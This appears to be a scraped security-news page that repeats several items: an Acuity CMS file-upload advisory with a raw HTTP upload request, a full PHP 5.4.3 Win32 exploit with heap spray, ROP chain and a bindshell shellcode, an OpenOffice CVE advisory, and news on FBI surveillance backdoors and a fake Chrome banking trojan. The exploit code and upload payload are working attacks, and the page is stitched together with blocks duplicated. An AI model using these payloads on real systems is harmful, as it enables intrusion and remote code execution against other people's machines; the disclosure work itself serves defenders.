News

Acuity CMS 2.6.x (ASP-based) Arbitrary File Upload

 Topic:
Acuity CMS 2.6.x (ASP-based) Arbitrary File Upload
 Credit:
Aung Khant
 Date:
2012.05.20
 CWE:
N/A
 CVE:
N/A

1. OVERVIEW

Acuity CMS 2.6.x (ASP-based) versions are vulnerable to Arbitrary File Upload.


2. BACKGROUND

Acuity CMS is a powerful but simple, extremely easy to use, low
priced, easy to deploy content management system. It is a leader in
its price and feature class.


3. VULNERABILITY DESCRIPTION

Acuity CMS 2.6.x (ASP-based) version contain a flaw that may allow an
attacker to upload .asp/.aspx files without restrictions, which will
execute ASP(.Net) codes. The issue is due to the script,
/admin/file_manager/file_upload_submit.asp , not properly sanitizing
‘file1′, ‘file2′, ‘file3′, ‘fileX’ parameters.


4. VERSIONS AFFECTED

Tested with version 2.6.2.


5. PROOF-OF-CONCEPT/EXPLOIT

[REQUEST]
POST /admin/file_manager/file_upload_submit.asp HTTP/1.1
Host: localhost
Cookie: ASPSESSIONID=XXXXXXXXXXXXXXX

—————————–6dc3a236402e2
Content-Disposition: form-data; name=”path”

/images
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”rootpath”

/
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”rootdisplay”

http://localhost/
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”status”

confirmed
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”action”

fileUpload
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”file1″; filename=”0wned.asp”
Content-Type: application/octet-stream

% response.write(“0wned!”) %

—————————–6dc3a236402e2–

[/REQUEST]


6. SOLUTION

The Acunity CMS is no longer in active development.
It is recommended to user another CMS in active development and support.


7. VENDOR

The Collective

http://www.thecollective.com.au/

8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-05-20: vulnerability disclosed


10. REFERENCES

Original Advisory URL:

http://yehg.net/lab/pr0js/advisories/%5Bacuity_cms2.6%20x_(asp)%5D_arbitrary_fileupload

#yehg [2012-05-20]

References:

[ ASCII VERSION ]

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

New FBI Surveillance Backdoors? 6 Key Points

Top 10 Open Government Websites
(click image for larger view and for slideshow)

Will Congress require social networks, online voice over IP (VoIP) services, and Webmail providers to build in backdoors that could be used for electronic surveillance purposes by the FBI?

According to one news report, FBI officials have been meeting with Facebook, Google, Microsoft (which owns Skype and Hotmail), and Yahoo, among other companies. The goal apparently isn’t to promote the bureau’s push for expanded wiretapping capabilities, but rather to ask how that be implemented while causing minimal disruption for the companies with networks that would be directly accessed.

Reached by phone, an FBI spokesman declined to confirm or deny the news report. But it wouldn’t be the first time in recent history in which the FBI has detailed the difficulties it faces when attempting to “wiretap” newer types of communication–from Facebook and Twitter to Skype and X-Box VoIP–and argued for greater capabilities.

[ Cybersecurity heads the list of federal CIO worries. Read more at Security Top Concern Of Federal CIOs. ]

Here are 6 points to consider about expanding the FBI’s surveillance powers:

1. Bureau Warns About Going Dark.
The bureau has already been asking Congress for broader surveillance powers to help it keep up with new technologies. Notably, FBI director Robert S. Mueller III told Congress in December 2011 that “a growing gap exists between the statutory authority of law enforcement to intercept electronic communications pursuant to court order and our practical ability to intercept those communications.” The consequences, he warned, could be dire. “Should this gap continue to grow, there is a very real risk of the government ‘going dark,’ resulting in an increased risk to national security and public safety.”

2. Proposed CALEA Revisions Would Update 1994 Law.
Accordingly, the FBI wants Congress to expand the Communications Assistance for Law Enforcement Act (CALEA). First passed in 1994, the purpose of the law–according to its text–is “to make clear a telecommunications carrier’s duty to cooperate in the interception of communications for Law Enforcement purposes, and for other purposes.” Specifically, the law is designed to allow law enforcement agencies, with a warrant, to conduct wiretaps of digital telephone networks. The law also made telephone carriers responsible for CALEA development and implementation costs. Congress then expanded the law in 2004 to cover broadband Internet service providers (ISPs) as well as telecommunications carriers that handle voice communications via VoIP.

But the latest proposed expansion could see the Federal Communications Commission review whether CALEA should be used to require services such as Skype, the PlayStation Network, Gmail, and similar services to make their systems easier to wiretap. CALEA requires that any encryption added by the wiretapped service be removed for law enforcement access.

3. Questions Remain Over Wiretapping Scope.
Just how often does the FBI need to use wiretapping during an investigation? That’s not clear. According to an FBI website about CALEA, wiretapping “is used infrequently and then only to combat the most serious crimes and terrorism.” It also says that law enforcement officers must “establish probable cause that the wiretaps may provide evidence of a felony violation of federal law,” after which it’s up to a judge to approve or disprove the wiretap, and then monitor any wiretapping.

4. Civil Liberties Groups See Slippery Slope.
Civil rights groups have warned that granting law enforcement agencies new surveillance powers could lead to a decrease in the privacy protections that people currently enjoy. “The heart of the issue is a growing attitude among law enforcement that there ought to be a presumption that citizens’ communications be susceptible to eavesdropping. There is no reason for such a presumption,” Jay Stanley, senior policy analyst for the Speech, Privacy and Technology Project at the American Civil Liberties Union, wrote in a blog post.

5. Will Technology Companies Back CALEA Expansion?
FBI overtures to technology giants aside, it’s far from clear whether Facebook, Google, Microsoft, and their ilk would back the proposed CALEA changes and grant the FBI direct access their networks. In fact, they could try to torpedo such proposals, not least to distance themselves from anything involving surreptitious access to user data.

In fact, Twitter last month filed a motion in a New York state court to quash a New York City prosecutor’s request for information pertaining to Twitter user Malcolm Harris, who participated in Occupy Wall Street protests on the Brooklyn Bridge last year. Harris had already failed to quash the subpoena after a court ruled that his posts belonged not to him but to Twitter, meaning he had no legal standing to challenge the subpoena.

Interestingly, Twitter’s motion to quash instead argues that the subpoena imposes an overwhelming burden because it doesn’t give the Twitter user the ability to argue against the subpoena. Furthermore, Twitter said that its terms of service explicitly tell users that they “retain [their] rights to any Content [they] submit, post or display on or through” the service, and notes that relevant legislation allows users to challenge any demands for their account records. “To hold otherwise imposes a new and overwhelming burden on Twitter to fight for its users’ rights, since the [court order] deprives its users of the ability to fight for their own rights when faced with a subpoena from New York State,” read Twitter’s legal filing.

6. Backdoors May Facilitate Unauthorized Access.
Wiretapping backdoors could also make online services more vulnerable to attackers. In particular, adding hard-coded backdoors or access credentials for any website, application, or service is a cause for concern since this access could be abused in unintended–and potentially untraceable–ways. “Companies are also afraid of the potential security threat to trade secrets and confidential exchanges,” wrote attorney Aaron Kelly, who specializes in online privacy laws, in a blog post. “Some of them argue that a sufficiently skilled hacker could break in through a backdoor and steal personal information from a business.”

Hacktivist and cybercriminal threats concern IT teams most, our first Federal Government Cybersecurity Survey reveals. Here’s how they’re fighting back. Also in the new, all-digital Top Federal IT Threats issue of InformationWeek Government: Why federal efforts to cut IT costs don’t go far enough, and how the State Department is enhancing security. (Free registration required.)

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

Acuity CMS 2.6.x (ASP-based) Arbitrary File Upload

 Topic:
Acuity CMS 2.6.x (ASP-based) Arbitrary File Upload
 Credit:
Aung Khant
 Date:
2012.05.20
 CWE:
N/A
 CVE:
N/A

1. OVERVIEW

Acuity CMS 2.6.x (ASP-based) versions are vulnerable to Arbitrary File Upload.


2. BACKGROUND

Acuity CMS is a powerful but simple, extremely easy to use, low
priced, easy to deploy content management system. It is a leader in
its price and feature class.


3. VULNERABILITY DESCRIPTION

Acuity CMS 2.6.x (ASP-based) version contain a flaw that may allow an
attacker to upload .asp/.aspx files without restrictions, which will
execute ASP(.Net) codes. The issue is due to the script,
/admin/file_manager/file_upload_submit.asp , not properly sanitizing
‘file1′, ‘file2′, ‘file3′, ‘fileX’ parameters.


4. VERSIONS AFFECTED

Tested with version 2.6.2.


5. PROOF-OF-CONCEPT/EXPLOIT

[REQUEST]
POST /admin/file_manager/file_upload_submit.asp HTTP/1.1
Host: localhost
Cookie: ASPSESSIONID=XXXXXXXXXXXXXXX

—————————–6dc3a236402e2
Content-Disposition: form-data; name=”path”

/images
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”rootpath”

/
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”rootdisplay”

http://localhost/
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”status”

confirmed
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”action”

fileUpload
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”file1″; filename=”0wned.asp”
Content-Type: application/octet-stream

% response.write(“0wned!”) %

—————————–6dc3a236402e2–

[/REQUEST]


6. SOLUTION

The Acunity CMS is no longer in active development.
It is recommended to user another CMS in active development and support.


7. VENDOR

The Collective

http://www.thecollective.com.au/

8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-05-20: vulnerability disclosed


10. REFERENCES

Original Advisory URL:

http://yehg.net/lab/pr0js/advisories/%5Bacuity_cms2.6%20x_(asp)%5D_arbitrary_fileupload

#yehg [2012-05-20]

References:

[ ASCII VERSION ]

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

Acuity CMS 2.6.x (ASP-based) Arbitrary File Upload

 Topic:
Acuity CMS 2.6.x (ASP-based) Arbitrary File Upload
 Credit:
Aung Khant
 Date:
2012.05.20
 CWE:
N/A
 CVE:
N/A

1. OVERVIEW

Acuity CMS 2.6.x (ASP-based) versions are vulnerable to Arbitrary File Upload.


2. BACKGROUND

Acuity CMS is a powerful but simple, extremely easy to use, low
priced, easy to deploy content management system. It is a leader in
its price and feature class.


3. VULNERABILITY DESCRIPTION

Acuity CMS 2.6.x (ASP-based) version contain a flaw that may allow an
attacker to upload .asp/.aspx files without restrictions, which will
execute ASP(.Net) codes. The issue is due to the script,
/admin/file_manager/file_upload_submit.asp , not properly sanitizing
‘file1′, ‘file2′, ‘file3′, ‘fileX’ parameters.


4. VERSIONS AFFECTED

Tested with version 2.6.2.


5. PROOF-OF-CONCEPT/EXPLOIT

[REQUEST]
POST /admin/file_manager/file_upload_submit.asp HTTP/1.1
Host: localhost
Cookie: ASPSESSIONID=XXXXXXXXXXXXXXX

—————————–6dc3a236402e2
Content-Disposition: form-data; name=”path”

/images
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”rootpath”

/
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”rootdisplay”

http://localhost/
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”status”

confirmed
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”action”

fileUpload
—————————–6dc3a236402e2
Content-Disposition: form-data; name=”file1″; filename=”0wned.asp”
Content-Type: application/octet-stream

% response.write(“0wned!”) %

—————————–6dc3a236402e2–

[/REQUEST]


6. SOLUTION

The Acunity CMS is no longer in active development.
It is recommended to user another CMS in active development and support.


7. VENDOR

The Collective

http://www.thecollective.com.au/

8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-05-20: vulnerability disclosed


10. REFERENCES

Original Advisory URL:

http://yehg.net/lab/pr0js/advisories/%5Bacuity_cms2.6%20x_(asp)%5D_arbitrary_fileupload

#yehg [2012-05-20]

References:

[ ASCII VERSION ]

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

PHP 5.4.3 Win32 Code Execution

 Topic:
PHP 5.4.3 Win32 Code Execution
 Credit:
Maksymilian Motyl
 Date:
2012.05.19
 CWE:
CWE-119 (Show similar)
 CVE:
N/A

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)
// Exploit author: 0in (Maksymilian Motyl)
// Email: 0in(dot)email(at)gmail.com
// * Bug with Variant type parsing originally discovered by Condis
// Tested on Windows XP SP3 fully patched (Polish)


===================
offset-brute.html
===================

htmlbody
title0day/title
center
font size=7PHP 5.4.3 0day by 0in cOndis/fontbr
textarea rows=50 cols=50 id=”log”lt;/textareagt;
/center
script
function sleep(milliseconds) {
var start = new Date().getTime();
for (var i = 0; i 1e7; i++) {
if ((new Date().getTime() – start) milliseconds){
break;
}
}
}
function makeRequest(url, parameters)
{
var xmlhttp = new XMLHttpRequest();
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
if (xmlhttp.overrideMimeType) {
xmlhttp.overrideMimeType(‘text/xml’);
}
} else if (window.ActiveXObject) {
// IE
try { xmlhttp = new ActiveXObject(“Msxml2.XMLHTTP”); }
catch (e) {
try { xmlhttp = new ActiveXObject(“Microsoft.XMLHTTP”); }
catch (e) {}
}
}

if (!xmlhttp) {
alert(‘Giving up :( Cannot create an XMLHTTP instance’);
return false;
}

xmlhttp.open(“GET”,url,true);
xmlhttp.send(null);
return true;
}
test=document.getElementById(“log”);
for(offset=0;offset300;offset++)
{
log.value+=”Trying offset:”+offset+”rn”;
makeRequest(“0day.php?offset=”+offset);
sleep(500);
}

/script/body/html

===================
0day.php
===================

?php

$spray = str_repeat(“x90″,0×200);
$offset=$_GET['offset'];
// 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]
$spray = substr_replace($spray, “xdaxf0x5dx77″, (strlen($spray))*-1,(strlen($spray))*-1);
// : 0x048d0030
$spray = substr_replace($spray, pack(“L”,0x048d0030+$offset), (strlen($spray)-0×8)*-1,(strlen($spray))*-1);

//0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]
$spray = substr_replace($spray, “x9fxaex52x77″, (strlen($spray)-0×10)*-1,(strlen($spray))*-1);

// Adress of VirtualProtect 0x7c801ad4
$spray = substr_replace($spray, “xd4x1ax80x7c”, (strlen($spray)-0×14)*-1,(strlen($spray))*-1);

// LPVOID lpAddress = 0x048d0060
$spray = substr_replace($spray, pack(“L”,0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);

// SIZE_T dwSize = 0×01000000
$spray = substr_replace($spray, “x00x00x10x00″, (strlen($spray)-0×20)*-1,(strlen($spray))*-1);

// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0×00000040) | 0xffffffc0
$spray = substr_replace($spray, “x40x00x00x00″, (strlen($spray)-0×24)*-1,(strlen($spray))*-1);
// __out PDWORD lpflOldProtect = 0×04300070 | 0×105240000

// 0x048d0068
$spray = substr_replace($spray, pack(“L”,0x048d0068+$offset), (strlen($spray)-0×28)*-1,(strlen($spray))*-1);

//0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]
$spray = substr_replace($spray, “xb4xe8xdfx77″, (strlen($spray)-0×18)*-1,4);
// Ret Address = 0x048d0080
$spray = substr_replace($spray, pack(“L”,0x048d0080+$offset), (strlen($spray)-0×48)*-1,4);

$stacktrack = “xbcx0cxb0xc0x00″;
// Universal win32 bindshell on port 1337 from metasploit
$shellcode = $stacktrack.”x33xc9x83xe9xb0″.
“x81xc4xd0xfdxffxff”.
“xd9xeexd9x74x24xf4x5bx81x73x13x1d”.
“xccx32x69x83xebxfcxe2xf4xe1xa6xd9x24xf5x35xcdx96″.
“xe2xacxb9x05x39xe8xb9x2cx21x47x4ex6cx65xcdxddxe2″.
“x52xd4xb9x36x3dxcdxd9x20x96xf8xb9x68xf3xfdxf2xf0″.
“xb1x48xf2x1dx1ax0dxf8x64x1cx0exd9x9dx26x98x16x41″.
“x68x29xb9x36x39xcdxd9x0fx96xc0x79xe2x42xd0x33x82″.
“x1exe0xb9xe0x71xe8x2ex08xdexfdxe9x0dx96x8fx02xe2″.
“x5dxc0xb9x19x01x61xb9x29x15x92x5axe7x53xc2xdex39″.
“xe2x1ax54x3ax7bxa4x01x5bx75xbbx41x5bx42x98xcdxb9″.
“x75x07xdfx95x26x9cxcdxbfx42x45xd7x0fx9cx21x3ax6b”.
“x48xa6x30x96xcdxa4xebx60xe8x61x65x96xcbx9fx61x3a”.
“x4ex9fx71x3ax5ex9fxcdxb9x7bxa4x37x50x7bx9fxbbx88″.
“x88xa4x96x73x6dx0bx65x96xcbxa6x22x38x48x33xe2x01″.
“xb9x61x1cx80x4ax33xe4x3ax48x33xe2x01xf8x85xb4x20″.
“x4ax33xe4x39x49x98x67x96xcdx5fx5ax8ex64x0ax4bx3e”.
“xe2x1ax67x96xcdxaax58x0dx7bxa4x51x04x94x29x58x39″.
“x44xe5xfexe0xfaxa6x76xe0xffxfdxf2x9axb7x32x70x44″.
“xe3x8ex1exfax90xb6x0axc2xb6x67x5ax1bxe3x7fx24x96″.
“x68x88xcdxbfx46x9bx60x38x4cx9dx58x68x4cx9dx67x38″.
“xe2x1cx5axc4xc4xc9xfcx3axe2x1ax58x96xe2xfbxcdxb9″.
“x96x9bxcexeaxd9xa8xcdxbfx4fx33xe2x01xf2x02xd2x09″.
“x4ex33xe4x96xcdxccx32x69″;


$spray = substr_replace($spray,$shellcode, (strlen($spray)-0×50)*-1,(strlen($shellcode)));
$fullspray=”";
for($i=0;$i0x4b00;$i++)
{
$fullspray.=$spray;
}
$j=array();
$e=array();
$b=array();
$a=array();
$c=array();

array_push($j,$fullspray);
array_push($e,$fullspray.”W”);
array_push($b,$fullspray.”A”);
array_push($a,$fullspray.”S”);
array_push($c,$fullspray.”!”);


$vVar = new VARIANT(0x048d0038+$offset);
// Shoot him
com_print_typeinfo($vVar); //CRASH – 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]

echo $arr;

echo $spray;

?

References:

[ ASCII VERSION ]

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

New FBI Surveillance Backdoors? 6 Key Points

Top 10 Open Government Websites
(click image for larger view and for slideshow)

Will Congress require social networks, online voice over IP (VoIP) services, and Webmail providers to build in backdoors that could be used for electronic surveillance purposes by the FBI?

According to one news report, FBI officials have been meeting with Facebook, Google, Microsoft (which owns Skype and Hotmail), and Yahoo, among other companies. The goal apparently isn’t to promote the bureau’s push for expanded wiretapping capabilities, but rather to ask how that be implemented while causing minimal disruption for the companies with networks that would be directly accessed.

Reached by phone, an FBI spokesman declined to confirm or deny the news report. But it wouldn’t be the first time in recent history in which the FBI has detailed the difficulties it faces when attempting to “wiretap” newer types of communication–from Facebook and Twitter to Skype and X-Box VoIP–and argued for greater capabilities.

[ Cybersecurity heads the list of federal CIO worries. Read more at Security Top Concern Of Federal CIOs. ]

Here are 6 points to consider about expanding the FBI’s surveillance powers:

1. Bureau Warns About Going Dark.
The bureau has already been asking Congress for broader surveillance powers to help it keep up with new technologies. Notably, FBI director Robert S. Mueller III told Congress in December 2011 that “a growing gap exists between the statutory authority of law enforcement to intercept electronic communications pursuant to court order and our practical ability to intercept those communications.” The consequences, he warned, could be dire. “Should this gap continue to grow, there is a very real risk of the government ‘going dark,’ resulting in an increased risk to national security and public safety.”

2. Proposed CALEA Revisions Would Update 1994 Law.
Accordingly, the FBI wants Congress to expand the Communications Assistance for Law Enforcement Act (CALEA). First passed in 1994, the purpose of the law–according to its text–is “to make clear a telecommunications carrier’s duty to cooperate in the interception of communications for Law Enforcement purposes, and for other purposes.” Specifically, the law is designed to allow law enforcement agencies, with a warrant, to conduct wiretaps of digital telephone networks. The law also made telephone carriers responsible for CALEA development and implementation costs. Congress then expanded the law in 2004 to cover broadband Internet service providers (ISPs) as well as telecommunications carriers that handle voice communications via VoIP.

But the latest proposed expansion could see the Federal Communications Commission review whether CALEA should be used to require services such as Skype, the PlayStation Network, Gmail, and similar services to make their systems easier to wiretap. CALEA requires that any encryption added by the wiretapped service be removed for law enforcement access.

3. Questions Remain Over Wiretapping Scope.
Just how often does the FBI need to use wiretapping during an investigation? That’s not clear. According to an FBI website about CALEA, wiretapping “is used infrequently and then only to combat the most serious crimes and terrorism.” It also says that law enforcement officers must “establish probable cause that the wiretaps may provide evidence of a felony violation of federal law,” after which it’s up to a judge to approve or disprove the wiretap, and then monitor any wiretapping.

4. Civil Liberties Groups See Slippery Slope.
Civil rights groups have warned that granting law enforcement agencies new surveillance powers could lead to a decrease in the privacy protections that people currently enjoy. “The heart of the issue is a growing attitude among law enforcement that there ought to be a presumption that citizens’ communications be susceptible to eavesdropping. There is no reason for such a presumption,” Jay Stanley, senior policy analyst for the Speech, Privacy and Technology Project at the American Civil Liberties Union, wrote in a blog post.

5. Will Technology Companies Back CALEA Expansion?
FBI overtures to technology giants aside, it’s far from clear whether Facebook, Google, Microsoft, and their ilk would back the proposed CALEA changes and grant the FBI direct access their networks. In fact, they could try to torpedo such proposals, not least to distance themselves from anything involving surreptitious access to user data.

In fact, Twitter last month filed a motion in a New York state court to quash a New York City prosecutor’s request for information pertaining to Twitter user Malcolm Harris, who participated in Occupy Wall Street protests on the Brooklyn Bridge last year. Harris had already failed to quash the subpoena after a court ruled that his posts belonged not to him but to Twitter, meaning he had no legal standing to challenge the subpoena.

Interestingly, Twitter’s motion to quash instead argues that the subpoena imposes an overwhelming burden because it doesn’t give the Twitter user the ability to argue against the subpoena. Furthermore, Twitter said that its terms of service explicitly tell users that they “retain [their] rights to any Content [they] submit, post or display on or through” the service, and notes that relevant legislation allows users to challenge any demands for their account records. “To hold otherwise imposes a new and overwhelming burden on Twitter to fight for its users’ rights, since the [court order] deprives its users of the ability to fight for their own rights when faced with a subpoena from New York State,” read Twitter’s legal filing.

6. Backdoors May Facilitate Unauthorized Access.
Wiretapping backdoors could also make online services more vulnerable to attackers. In particular, adding hard-coded backdoors or access credentials for any website, application, or service is a cause for concern since this access could be abused in unintended–and potentially untraceable–ways. “Companies are also afraid of the potential security threat to trade secrets and confidential exchanges,” wrote attorney Aaron Kelly, who specializes in online privacy laws, in a blog post. “Some of them argue that a sufficiently skilled hacker could break in through a backdoor and steal personal information from a business.”

Hacktivist and cybercriminal threats concern IT teams most, our first Federal Government Cybersecurity Survey reveals. Here’s how they’re fighting back. Also in the new, all-digital Top Federal IT Threats issue of InformationWeek Government: Why federal efforts to cut IT costs don’t go far enough, and how the State Department is enhancing security. (Free registration required.)

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

OpenOffice.org Memory Overwrite Vulnerability

 Topic:
OpenOffice.org Memory Overwrite Vulnerability
 Credit:
Kestutis Gudinavicius
 Date:
2012.05.17
 CWE:
N/A
 CVE:
CVE-2012-2149 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References


—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA512

CVE-2012-2149 OpenOffice.org memory overwrite vulnerability

Reference: http://www.openoffice.org/security/cves/CVE-2012-2149.html

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:

OpenOffice.org 3.3 and 3.4 Beta, on all platforms.
Earlier versions may be also affected.

Description:

Effected versions of OpenOffice.org use a customized libwpd that has a
memory overwrite vulnerability that could be exploited by a specially
crafted Wordperfect WPD-format document, potentially leading to
arbitrary-code execution at application user privilege level.

Mitigation

OpenOffice.org 3.3.0 and 3.4 beta users are advised to upgrade to
Apache OpenOffice 3.4, where WPD files are ignored. Users who are
unable to upgrade immediately should be cautious when opening
untrusted WPD documents.

Credits

The Apache OpenOffice Security Team acknowledges Kestutis Gudinavicius
of SEC Consult Unternehmensberatung GmbH as the discoverer of this flaw.
—–BEGIN PGP SIGNATURE—–
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAEBCgAGBQJPs8AeAAoJEGFAoYdHzLzHpw4P/3hRQxaIre8XARxy9JiT+HX3
xCFp+ksNHQBlCf7KUDhy0uz5KFzzrPHKoJCVTXBmMz2CErsIJs5rf4ePZhdj2V96
z87qKRojEbeWQGw1lIfXWnytnk1GpPoSb51vhu20J2g4K0IUCor8LTWisVeeVhFu
TlEaNLreQHn+0fVCdYnCWenWzFqJfWvxcUXi3OSysT7+fAacF63ZayuFhGT6WygP
QXdW8fwhwAnFvwcBU4aSVX0tEpbAvQoZGw4EwlU0Osz6DHhJmlH9BYtsvAGX0amh
6Ow/Rg8J1dOicX7W7+bGcgIeNkBalbbiKrMJ2l5SEBhOkFEi0vOJZwDBqceHDDvC
wXYXAIyLqjyd7uyBslnAPqAVoAt3s4ZpAEHKPXSOpWBe4U6idcFNSM2QOj+IEbic
BROlOFXhJnRi69bowISAXdm6bKX/hvFhu9YhbmEfOE2sczp2FfGZ27W80QAboFG+
tfT9a6KmA3pDeh9OPkxABmjhhisPHuP9oSuz0xOiGjcR2A/d7DCtnEQUeLzTV7WI
wtgrlqkJhezNs7JVDcCEm0qXxAUJVTx9KCYvHPFR3IiuKgZba9Keu88wZs9yd/9f
cKSHOSDj2SZ4f4J3lM+llF/z0zjP/hmaQJgKTNsiaO3xl5AzORXMVH25fn4s9UCk
685l8u67flHuv0Iq+m35
=6F6B
—–END PGP SIGNATURE—–

References:

[ ASCII VERSION ]

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

OpenOffice.org Memory Overwrite Vulnerability

 Topic:
OpenOffice.org Memory Overwrite Vulnerability
 Credit:
Kestutis Gudinavicius
 Date:
2012.05.17
 CWE:
N/A
 CVE:
CVE-2012-2149 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References


—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA512

CVE-2012-2149 OpenOffice.org memory overwrite vulnerability

Reference: http://www.openoffice.org/security/cves/CVE-2012-2149.html

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:

OpenOffice.org 3.3 and 3.4 Beta, on all platforms.
Earlier versions may be also affected.

Description:

Effected versions of OpenOffice.org use a customized libwpd that has a
memory overwrite vulnerability that could be exploited by a specially
crafted Wordperfect WPD-format document, potentially leading to
arbitrary-code execution at application user privilege level.

Mitigation

OpenOffice.org 3.3.0 and 3.4 beta users are advised to upgrade to
Apache OpenOffice 3.4, where WPD files are ignored. Users who are
unable to upgrade immediately should be cautious when opening
untrusted WPD documents.

Credits

The Apache OpenOffice Security Team acknowledges Kestutis Gudinavicius
of SEC Consult Unternehmensberatung GmbH as the discoverer of this flaw.
—–BEGIN PGP SIGNATURE—–
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAEBCgAGBQJPs8AeAAoJEGFAoYdHzLzHpw4P/3hRQxaIre8XARxy9JiT+HX3
xCFp+ksNHQBlCf7KUDhy0uz5KFzzrPHKoJCVTXBmMz2CErsIJs5rf4ePZhdj2V96
z87qKRojEbeWQGw1lIfXWnytnk1GpPoSb51vhu20J2g4K0IUCor8LTWisVeeVhFu
TlEaNLreQHn+0fVCdYnCWenWzFqJfWvxcUXi3OSysT7+fAacF63ZayuFhGT6WygP
QXdW8fwhwAnFvwcBU4aSVX0tEpbAvQoZGw4EwlU0Osz6DHhJmlH9BYtsvAGX0amh
6Ow/Rg8J1dOicX7W7+bGcgIeNkBalbbiKrMJ2l5SEBhOkFEi0vOJZwDBqceHDDvC
wXYXAIyLqjyd7uyBslnAPqAVoAt3s4ZpAEHKPXSOpWBe4U6idcFNSM2QOj+IEbic
BROlOFXhJnRi69bowISAXdm6bKX/hvFhu9YhbmEfOE2sczp2FfGZ27W80QAboFG+
tfT9a6KmA3pDeh9OPkxABmjhhisPHuP9oSuz0xOiGjcR2A/d7DCtnEQUeLzTV7WI
wtgrlqkJhezNs7JVDcCEm0qXxAUJVTx9KCYvHPFR3IiuKgZba9Keu88wZs9yd/9f
cKSHOSDj2SZ4f4J3lM+llF/z0zjP/hmaQJgKTNsiaO3xl5AzORXMVH25fn4s9UCk
685l8u67flHuv0Iq+m35
=6F6B
—–END PGP SIGNATURE—–

References:

[ ASCII VERSION ]

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

Fake Google Chrome Installer Steals Banking Details

Beware fake Chrome installers for Windows.

A file named “ChromeSetup.exe” is being offered for download on various websites, and the link to the file appears to be legitimately hosted on Facebook and Google domains. In reality, the software won’t install Google’s Chrome browser, but an information-stealing Trojan application known as Banker, according to antivirus vendor Trend Micro.

Once the malware–which appears to be targeting Latin American users, especially in Brazil and Peru–is executed, it relays the IP address and operating system version to one of two command-and-control (CC) servers, then downloads a configuration file. After that, whenever a user of the infected PC visits one of a number of banking websites, the malware intercepts the HTTP request, redirects the user to a fake banking page, and also pops up a dialog box informing the user that new security software will be installed.

In fact, the malware has been designed uninstall GbPlugin, which is “software that protects Brazilian bank customers when performing online banking transactions,” said Trend Micro security researcher Brian Cayanan in a blog post. “It does this through the aid of gb_catchme.exe–a legitimate tool from GMER called Catchme, which was originally intended to uninstall malicious software. The bad guys, in this case, are using the tool for their malicious agendas.”

[ Hacktivists take down the Kremlin's website in protest of Putin reelection. Read more at Anonymous Targets Russian Sites For Putin Protest. ]

Trend Micro gained access to a log file associated with the CC servers that were managing this strain of Banker and saw the number of PCs infected with the malware quickly multiply. “During the time the CC panel was analyzed … the phone-home logs jumped from around 400 to nearly 6,000 in a span of 3 hours. These logs are comprised of 3,000 unique IP addresses, which translates [into] the number of machines infected by the malware,” Cayanan said. But the CC servers–first spotted in use in October 2011–soon became inaccessible. That suggests that attackers were moving to new CC servers, he said, noting that whoever is behind Banker will likely continue to enhance the malicious application’s capabilities.

For now, however, Cayanan said Trend Micro was continuing to study the malware, noting that “the one missing piece” of information is how the malware “is able to redirect [users] from normal websites like Facebook or Google to its malicious IP, to download malware.”

In other malware news, GFI Labs is warning that a new piece of Android malware masquerades as free antivirus software. Advertised via Twitter spam promoting links to “sexi gerl see,” among other phrases, the malicious application has been available via websites sporting a dot-TK (.tk) address, which is the top-level domain name for Tokelau, a New Zealand territory in the South Pacific.

